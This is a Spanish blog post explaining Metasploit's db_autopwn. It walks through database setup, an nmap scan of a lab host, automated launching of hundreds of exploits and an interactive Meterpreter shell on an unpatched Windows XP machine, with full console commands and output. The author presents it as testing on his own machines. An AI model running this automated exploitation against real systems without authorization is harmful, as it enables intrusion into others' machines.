Metasploit: Autopwn
Pensándolo con frialdad hasta me he planteado la escritura de este post, me preocupa la ética de los posibles lectores... pero visto de otra forma ni estoy descubriendo nada nuevo ni quiero hacer apología del non full disclosure así que -muy por encima pero- allá vamos.
Framework
Cuando en otras ocasiones hablamos de un framework de desarrollo -web- nos referimos a una herramienta que facilita de algún modo la programación o el desarrollo de proyectos -web-.Hablando en términos de tests de intrusión -por ponerle algún nombre políticamente correcto-, Metasploit es un framework que facilita las comprobaciones que un Tiger Team haría de forma manual.
Nota: Desconozco completamente las herramientas habituales de un Tiger Team como para afirmar que el coste en tiempo sea menor.
Autopwn
Lo que me ha sorprendido de todo ésto es su facilidad de uso. Supongo que muchos de vosotros recordaréis y habréis usado Nessus como escáner de vulnerabilidades. Nessus es una herramienta a la que le indicas un equipo (o una red completa), coteja los resultados del escaneo contra una base de datos de vulnerabilidades y devuelve un informe esencial para cualquier sysadmin.Pues autopwn es básicamente lo mismo, una herramienta interna de Metasploit a la que le indicas un host -o varios, o una red completa- y automágicamente escanea y detecta posibles vulnerabilidades. Pero va más allá, puesto que aplica todo tipo de exploits incluidos en Metasploit para comprobar su efecto.
Al acabar su trabajo y de encontrarnos ante un equipo vulnerable estaríamos consiguiendo una shell en el intérprete de comandos correspondiente.
Ejemplo práctico
Antes de nada hemos de crear una base de datos donde se guardarán todos los resultados, hosts, servicios... podemos usar el driver de mysql, sqlite3, postgresql... en este caso usaremos sqlite por su sencillez:msf > db_driver
[*] Active Driver: sqlite3
[*] Available: sqlite3, mysql
msf > db_create MiBase
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: MiBase
msf >
msf > db_connect MiBase
[*] Successfully connected to the database
[*] File: MiBase
msf >
msf > db_nmap -n -sT -PN 192.168.2.2
[*] exec: \"/usr/bin/nmap\" \"-n\" \"-sT\" \"-PN\" \"192.168.2.2\" \"-oX\"
NMAP: Interesting ports on 192.168.2.2:
NMAP: Not shown: 993 closed ports
NMAP: PORT STATE SERVICE
NMAP: 135/tcp open msrpc
NMAP: 139/tcp open netbios-ssn
NMAP: 445/tcp open microsoft-ds
NMAP: 1029/tcp open ms-lsa
NMAP: 3050/tcp open unknown
NMAP: 3389/tcp open ms-term-serv
NMAP: 5900/tcp open vnc
NMAP:
NMAP: Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds
msf >
msf > db_autopwn -t -p -e
[*] Analysis completed in 8.36183190345764 seconds (0 vulns / 0 refs)
[...]
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] (1/831): Launching exploit/netware/smb/lsass_cifs against 192.168.2.2:139...
[*] Matched exploit/windows/smb/ms06_066_nwwks against 192.168.2.2:445...
[*] (2/831): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.2.2:445...
[*] Matched auxiliary/dos/windows/smb/smb2_session_logoff against 192.168.2.2:445...
[*] (3/831): Launching exploit/w [...]
[...]
msf > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.2.1:52898 -> 192.168.2.2:20315
msf >
msf > sessions -i 1
[*] Starting interaction with 1...
meterpreter > pwd
C:\\WINDOWS\\system32
meterpreter > shell
Process 3932 created.
Channel 1 created.
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\\WINDOWS\\system32> ipconfig
ipconfig
Configuración IP de Windows
Adaptador Ethernet Conexión de área local :
Sufijo de conexión específica DNS :
Dirección IP. . . . . . . . . . . : 192.168.2.2
Máscara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada : 192.168.2.100
C:\\WINDOWS\\system32>
Nota
Para adornarme un poco me veo en la obligación de decir que todos los resultados se han hecho contra máquinas propias, sin parchear, vulnerables e instaladas específicamente para estas pruebas por pura diversión y entretenimiento.}:)
Referencias
- http://www.nessus.org/nessus/
- http://www.pentester.es/2009/10/autopwn-la-artilleria-pesada-de.html
- http://www.offensive-security.com/metasploit-unleashed/